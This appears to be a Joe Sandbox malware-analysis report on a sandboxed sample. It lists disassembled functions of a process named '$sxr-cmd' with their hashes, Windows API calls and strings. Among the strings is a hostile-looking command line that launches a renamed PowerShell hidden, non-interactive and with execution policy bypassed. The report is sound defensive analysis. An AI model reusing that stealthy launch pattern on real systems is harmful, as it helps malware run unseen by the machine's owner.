Opcode ID: 64565f03666b4bb772596797247e6bb6fdde89d50adaa5f7e3853eb5f84ddd48
Instruction ID: 2c8f0d18d96ec33c8e625eb04d8f58fa342ed2043f75fd8c8ab445d2a2c0139e
Opcode Fuzzy Hash: 64565f03666b4bb772596797247e6bb6fdde89d50adaa5f7e3853eb5f84ddd48
Instruction Fuzzy Hash: 52026276A08E8181EB249F1DE44427AB7A1FB45FA4F554232DAEE837A4DF7CD861C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F86B0 Relevance: 18.1, APIs: 8, Strings: 4, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154F8711
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154F8729
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154F8748
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154F875F
_wcsicmp.MSVCRT ref: 00007FF6154F8805
_wcsicmp.MSVCRT ref: 00007FF6154F881F
_wcsicmp.MSVCRT ref: 00007FF6154F8839

Strings

DISABLEDELAYEDEXPANSION, xrefs: 00007FF61550B366
ENABLEDELAYEDEXPANSION, xrefs: 00007FF6154F882F
DISABLEEXTENSIONS, xrefs: 00007FF6154F8815
ENABLEEXTENSIONS, xrefs: 00007FF6154F87FB

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$_wcsicmp$AllocProcess
String ID: DISABLEDELAYEDEXPANSION$DISABLEEXTENSIONS$ENABLEDELAYEDEXPANSION$ENABLEEXTENSIONS
API String ID: 3223794493-3086019870
Opcode ID: cb3c41489134d7bf02aea1d2124d883155d35966149708651120c5f9a30c6a47
Instruction ID: c456483154f0e06ef58ce098f5f2513dd1875c9a7324b8276e7d294ab630e5a8
Opcode Fuzzy Hash: cb3c41489134d7bf02aea1d2124d883155d35966149708651120c5f9a30c6a47
Instruction Fuzzy Hash: 73515E39A08E42C6FA548F29A850179BBA0FB49F74F585536CA1E873B1EF3CE855C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551BFEC Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 444COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6155058E4: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FF61551C6DB), ref: 00007FF6155058EF

Part of subcall function 00007FF61550081C: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF61550084E

towupper.MSVCRT ref: 00007FF61551C1C9
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551C31C
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF61551C5CB

Strings

\, xrefs: 00007FF61551C30F
%s>, xrefs: 00007FF61551C684
PROMPT, xrefs: 00007FF61551C079
x, xrefs: 00007FF61551C36B
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZX, xrefs: 00007FF61551C003
%s , xrefs: 00007FF61551C3D6
Unknown, xrefs: 00007FF61551C3AB

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CriticalDriveEnterEnvironmentFreeLocalSectionTypeVariabletowupper
String ID: %s $%s>$C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZX$PROMPT$Unknown$\$x
API String ID: 2242554020-4229170036
Opcode ID: 4a922d4c85f00677817b5c761d16b1de45b4041caf2284929607811bb1d70d1e
Instruction ID: ba75d7c814e1ead325304321f3b9b455760ee17ce7395e2c8cdb1f611546ece8
Opcode Fuzzy Hash: 4a922d4c85f00677817b5c761d16b1de45b4041caf2284929607811bb1d70d1e
Instruction Fuzzy Hash: 86127029A18E5281EA649F29E48417AABB0EF44FB4F554236D99E837F0DF3DED41C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615506FB4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF615507013

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF615507123

Part of subcall function 00007FF615501EA0: wcschr.MSVCRT ref: 00007FF615501EB3

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61550706E
wcsncmp.MSVCRT ref: 00007FF6155070A5
wcsstr.MSVCRT ref: 00007FF61550F9DB
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61550FA00
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61550FA5F

Part of subcall function 00007FF61550823C: FindFirstFileExW.KERNELBASE ref: 00007FF615508280
Part of subcall function 00007FF61550823C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61550829D

Part of subcall function 00007FF615503A0C: FindClose.KERNELBASE(?,?,?,00007FF61551EAC5,?,?,?,00007FF61551E925,?,?,?,?,00007FF6154FB9B1), ref: 00007FF615503A56

GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61550FA3D

Strings

\\.\, xrefs: 00007FF615507097

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: File$AttributesFindmemset$CloseDriveErrorFirstFullLastNamePathTypewcschrwcsncmpwcsstr
String ID: \\.\
API String ID: 799470305-2900601889
Opcode ID: 4180f233f4b8de15694120a786ea8bf0d50e59174174331ff54520a46fcb6cef
Instruction ID: 8d63d665b7988feeac4a21a575676276861c5b078103f8b62407f5e8eae0ee79
Opcode Fuzzy Hash: 4180f233f4b8de15694120a786ea8bf0d50e59174174331ff54520a46fcb6cef
Instruction Fuzzy Hash: 9D519836A18E82C5EB608F21D8102B9B7A0FF89F68F594536DA5EC77A4DF3CD9458700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F8B20 Relevance: 16.8, APIs: 11, Instructions: 254COMMON

Download Yara Rule

APIs

wcsrchr.MSVCRT ref: 00007FF6154F8BAB
_wcsicmp.MSVCRT ref: 00007FF6154F8BD4
_wcsicmp.MSVCRT ref: 00007FF6154F8BF2
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F8C16
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6154F8C2F
wcschr.MSVCRT ref: 00007FF6154F8CB3
wcschr.MSVCRT ref: 00007FF6154F8CD7

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmpwcschr$AttributesErrorFileLastwcsrchr
String ID:
API String ID: 1944892715-0
Opcode ID: b04fd89d1b32d74b41568e07ffd85bc9ccdf1354646f06c8d836b15a263e4c9a
Instruction ID: dbe14818d678b9d412327ca7badd2c1a5a300e45dfa0dcadf52d0719ff2a4a78
Opcode Fuzzy Hash: b04fd89d1b32d74b41568e07ffd85bc9ccdf1354646f06c8d836b15a263e4c9a
Instruction Fuzzy Hash: 6CB16C35A09E52C6FA649F29A854179E6A1AF55FB4F458536CA4ECB3B1EF3CEC408300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F5458 Relevance: 16.7, APIs: 11, Instructions: 213fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF615503578: _get_osfhandle.MSVCRT ref: 00007FF615503584
Part of subcall function 00007FF615503578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF61550359C
Part of subcall function 00007FF615503578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF6155035C3
Part of subcall function 00007FF615503578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF6155035D9
Part of subcall function 00007FF615503578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF6155035ED
Part of subcall function 00007FF615503578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF615503602

_get_osfhandle.MSVCRT ref: 00007FF6154F54DE
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(?,?,00007FF6154F1F7D), ref: 00007FF6154F552B
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00007FF6154F1F7D), ref: 00007FF6154F554F
_get_osfhandle.MSVCRT ref: 00007FF61551345F
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF6154F1F7D), ref: 00007FF61551347E
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF6154F1F7D), ref: 00007FF6155134C3
_get_osfhandle.MSVCRT ref: 00007FF6155134DB
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF6154F1F7D), ref: 00007FF6155134FA

Part of subcall function 00007FF6155036EC: _get_osfhandle.MSVCRT ref: 00007FF615503715
Part of subcall function 00007FF6155036EC: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF615503770
Part of subcall function 00007FF6155036EC: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615503791

Part of subcall function 00007FF6154F566C: wcschr.MSVCRT ref: 00007FF6154F5690

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _get_osfhandle$ConsoleWrite$File$ByteCharLockModeMultiSharedWide$AcquireHandleReleaseTypewcschr
String ID:
API String ID: 1356649289-0
Opcode ID: 8cb344cfa4787b055339b8a9ee12bbc5c0a371722c2d9f6503a0875dc2cc5f96
Instruction ID: f8623ab528c641204bc2f2149f410dd746a06c768809012053ecc196fa741ce7
Opcode Fuzzy Hash: 8cb344cfa4787b055339b8a9ee12bbc5c0a371722c2d9f6503a0875dc2cc5f96
Instruction Fuzzy Hash: 28919F36A08A42C7EB149F25A444179FBA1FB88FA4F554135DA4E837B6DF3CE844CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155186FC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 226timeCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF61551883F
GetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF61551897A
SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF6155189AC
SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF6155189BD
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6155189D1

Strings

/-., xrefs: 00007FF61551873E
%s, xrefs: 00007FF6155188B9
:, xrefs: 00007FF6155187B7

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: LocalTime$ErrorLast_get_osfhandle
String ID: %s$/-.$:
API String ID: 1644023181-879152773
Opcode ID: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
Instruction ID: 6487581f81cdd79a75423716c64c83da0dcdea4a9ab13424493dbfa5ea629eb8
Opcode Fuzzy Hash: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
Instruction Fuzzy Hash: 9691716AA08E4295EB649F24D4902BEABB0EF44FA4F844536D94EC26E5DF3CED45C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551627C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 95synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF615517251), ref: 00007FF61551628E

Strings

wil, xrefs: 00007FF6155163D2

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: ObjectSingleWait
String ID: wil
API String ID: 24740636-1589926490
Opcode ID: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
Instruction ID: e60bd5d927c5d9cf4256d029dcd76075c907682581618282697e7160333a6f6c
Opcode Fuzzy Hash: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
Instruction Fuzzy Hash: D7416D29A08D42C7F3204F21E480279AAB1EF86FA1F618131D91EC7EA5CF3DEC498711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551CDC0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 94windowCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF61551CE20
_ultoa.MSVCRT ref: 00007FF61551CE43
GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF61551CE4F
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF61551CE84
FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF61551CEDE
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF61551CF24

Strings

, xrefs: 00007FF61551CE64
System, xrefs: 00007FF61551CE90
Application, xrefs: 00007FF61551CEAB

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: FormatMessage$ByteCharFreeLocalMultiWide_ultoa
String ID: $Application$System
API String ID: 3377411628-1881496484
Opcode ID: 80d38d575318b3867918aa38a6e3db8ef172391286b4c5249a392e05da5dfb20
Instruction ID: e13be76c26c49f327117025dff26ae4e89c75b2ae2dfc2dcf2d85d37d7e9ae9e
Opcode Fuzzy Hash: 80d38d575318b3867918aa38a6e3db8ef172391286b4c5249a392e05da5dfb20
Instruction Fuzzy Hash: BD412736B04E429AE7108F64E4403EDBBB5EB89F58F855236DA4E82B68EF38D545C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F14E8 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,00007FF6154F1829), ref: 00007FF6154F1513
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,00007FF6154F1829), ref: 00007FF6154F152B
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61550AB0F
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61550AB29
SetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61550AB4E
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61550AB65

Strings

\, xrefs: 00007FF61550AAFC
:, xrefs: 00007FF61550AAF0

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: AttributesDirectoryFileRemove$ErrorFullLastNamePath
String ID: :$\
API String ID: 3961617410-1166558509
Opcode ID: 7382dc9ba5dd15d1d826e80cca2a433ebb6210e0cfd6d3e104106e7a41e883e1
Instruction ID: 14e3f633443029135c7bfed5d4b20717b661c44b18528d198f4b6df5971a8d61
Opcode Fuzzy Hash: 7382dc9ba5dd15d1d826e80cca2a433ebb6210e0cfd6d3e104106e7a41e883e1
Instruction Fuzzy Hash: FE218021A08E42C6E7105B68E444079F6A2EB4AFA5F85A236D90FC23B0DF3CEC448700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F7AA0 Relevance: 15.2, APIs: 10, Instructions: 221COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154F7B13
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F7B5F
CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F7B83
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F7BA9

Part of subcall function 00007FF61550291C: GetDriveTypeW.KERNELBASE ref: 00007FF61550294A

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CreateDirectoryDriveFullNamePathTypememset
String ID:
API String ID: 1397130798-0
Opcode ID: 1e06caf0b77d17d600aef2fcb22a4425febc896dd4a75ac9af5e73f825b2a127
Instruction ID: 944a53a70e95bf0531c0acfc6b2dba7aee9687870b12ba9fdf574cd56b7687fb
Opcode Fuzzy Hash: 1e06caf0b77d17d600aef2fcb22a4425febc896dd4a75ac9af5e73f825b2a127
Instruction Fuzzy Hash: D8918326B08F8286EB658B15D4506B9F3A1FB85FA8F458136DA4EC77A5DF3CDD408700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61550258C Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6155006C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF6155006D6
Part of subcall function 00007FF6155006C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF6155006F0
Part of subcall function 00007FF6155006C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF61550074D
Part of subcall function 00007FF6155006C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF615500762

_wcsicmp.MSVCRT ref: 00007FF6155025CA
_wcsicmp.MSVCRT ref: 00007FF6155025E8
_wcsicmp.MSVCRT ref: 00007FF61550260F
_wcsicmp.MSVCRT ref: 00007FF615502636
_wcsicmp.MSVCRT ref: 00007FF615502650

Strings

ERRORLEVEL, xrefs: 00007FF6155025C3
EXIST, xrefs: 00007FF6155025E1
NOT, xrefs: 00007FF615502649
CMDEXTVERSION, xrefs: 00007FF615502608
DEFINED, xrefs: 00007FF61550262F

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmp$Heap$AllocProcess
String ID: CMDEXTVERSION$DEFINED$ERRORLEVEL$EXIST$NOT
API String ID: 3407644289-1668778490
Opcode ID: 73bc52d87adb43f98016766748090f79ae3978062519f174c0f235f90d2ce4d7
Instruction ID: 5620a2273d9a6f4945539499e13ffa4d0fd83bbb441d7a560b077e2e4a2fa001
Opcode Fuzzy Hash: 73bc52d87adb43f98016766748090f79ae3978062519f174c0f235f90d2ce4d7
Instruction Fuzzy Hash: D1313E39A0CD02C5FB546F25E811279EAA5AF85FA8F559036DA0EC62B5DF3CEC00C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615520C90 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 282COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF615521398: free.MSVCRT(?,?,00000000,00007FF615517FE0,?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000), ref: 00007FF6155213C2
Part of subcall function 00007FF615521398: free.MSVCRT(?,?,00000000,00007FF615517FE0,?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000), ref: 00007FF6155213DF

Part of subcall function 00007FF6154F2730: towupper.MSVCRT ref: 00007FF6154F27C1

Part of subcall function 00007FF6154F91C0: memset.MSVCRT ref: 00007FF6154F921C
Part of subcall function 00007FF6154F91C0: wcsrchr.MSVCRT ref: 00007FF6154F92D8
Part of subcall function 00007FF6154F91C0: GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F9362
Part of subcall function 00007FF6154F91C0: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6154F9373

Part of subcall function 00007FF6154F8DF8: memset.MSVCRT ref: 00007FF6154F8E6D
Part of subcall function 00007FF6154F8DF8: memset.MSVCRT ref: 00007FF6154F8E93

Part of subcall function 00007FF615507854: memset.MSVCRT ref: 00007FF61550790B

qsort.MSVCRT ref: 00007FF615520DDF
wcschr.MSVCRT ref: 00007FF615520E40
